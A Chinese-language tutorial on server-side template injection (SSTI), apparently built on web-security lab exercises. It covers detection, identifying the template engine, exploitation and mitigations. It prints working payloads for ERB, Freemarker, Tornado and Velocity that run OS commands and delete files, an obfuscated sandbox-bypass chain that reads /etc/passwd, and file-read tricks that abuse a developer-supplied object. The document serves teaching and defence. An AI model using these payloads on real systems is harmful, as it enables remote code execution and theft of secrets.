高级漏洞篇之服务器端模板注入(SSTI)专题
字数 1470 2025-08-10 16:34:36
服务器端模板注入(SSTI)漏洞详解与利用
1. SSTI漏洞概述
服务器端模板注入(SSTI)是攻击者利用原生模板语法将恶意payload注入到可以在服务器端执行的模板中的过程。模板引擎将固定的模板与可变化的数据结合构建网页,当模板引擎将用户输入直接与固定模板拼接时,就可能存在SSTI漏洞。
1.1 漏洞产生原理
SSTI漏洞的产生类似于SQL注入,当模板引擎没有将模板与数据区分开时,用户输入的数据可能会被当作模板的一部分执行。例如:
安全用法:
$output = $twig->render("Dear {first_name}", array("first_name" => $user.first_name));
危险用法:
$output = $twig->render("Dear " . $_GET['name']);
2. SSTI漏洞探测与识别
2.1 探测方法
- 模糊测试:使用模糊模板语句如
${7*7}、{{7*7}}等,观察服务器响应 - 数学运算测试:输入数学运算表达式,如
${7*7},如果返回计算结果则可能存在漏洞
2.2 识别模板引擎
- 故意触发报错:输入无效表达式如
<%=foobar%>,从报错信息判断引擎类型 - 语法差异测试:
{{7*'7'}}在Twig中返回49,在Jinja2中返回7777777- 使用Burp提供的模板引擎识别图表进行比对
3. SSTI漏洞利用
3.1 利用步骤
- 阅读文档:学习目标模板引擎的基础语法、关键函数和变量处理
- 探索环境:尝试访问所有可用的对象、方法和属性
- 构造利用:基于收集的信息构造攻击payload
3.2 不同上下文下的利用
3.2.1 纯文字上下文
示例payload:
http://vulnerable-website.com/?username=${7*7}
3.2.2 代码上下文
示例代码:
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)
攻击方法:提前闭合双花括号并注入自定义语句
3.3 不同模板引擎的利用示例
3.3.1 ERB (Ruby)
基本语法:<%= ruby代码 %>
执行命令:
<%= system("rm /home/carlos/morale.txt") %>
3.3.2 Freemarker
利用内置函数执行OS命令:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("rm /home/carlos/morale.txt")}
3.3.3 Tornado
基本语法:{{ python代码 }}
执行命令:
{{ handler.settings.application.settings.get('cookie_secret') }}
3.3.4 Velocity (Java)
对象链利用:
$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")
3.4 高级利用技术
-
环境探索:
- Java:
${T(java.lang.System).getenv()} - 使用Burp Intruder暴力破解变量名
- Java:
-
开发者提供的对象利用:
- 使用
{% debug %}显示调试信息 - 访问环境变量:
{{settings.SECRET_KEY}}
- 使用
-
对象链构造:
- 通过方法链访问敏感功能
- 示例:
user.setAvatar('/etc/passwd','image/jpg')
-
沙箱绕过:
- 利用反射机制
- 通过现有对象的方法链突破限制
4. 漏洞缓解措施
- 使用无逻辑模板引擎:如Mustache,将逻辑与渲染分离
- 沙箱环境:在受限环境中执行用户代码
- Docker容器:在封闭的容器中部署模板环境
- 输入过滤:严格验证用户输入,避免直接拼接
- 最小权限原则:限制模板引擎的执行权限
5. 实战案例
5.1 基础SSTI利用(ERB)
- 探测:使用
<%= 7*7 %>测试 - 确认:返回49说明存在漏洞
- 利用:
<%= system("ls") %>
<%= system("rm /home/carlos/morale.txt") %>
5.2 沙箱环境绕过
利用对象链:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
5.3 开发者对象利用
- 发现User对象有setAvatar方法
- 利用方法修改头像路径为目标文件:
{{ user.setAvatar('/etc/passwd','image/jpg') }}
- 刷新页面读取文件内容
- 发现文件删除方法后,设置头像为目标文件并调用删除方法
6. 总结
SSTI漏洞危害严重,可导致远程代码执行、敏感信息泄露等后果。防御关键在于:
- 避免直接拼接用户输入与模板
- 使用安全的模板引擎
- 实施严格的输入验证
- 在最小权限环境中运行模板引擎
理解不同模板引擎的语法特性和安全机制是有效防御SSTI攻击的基础。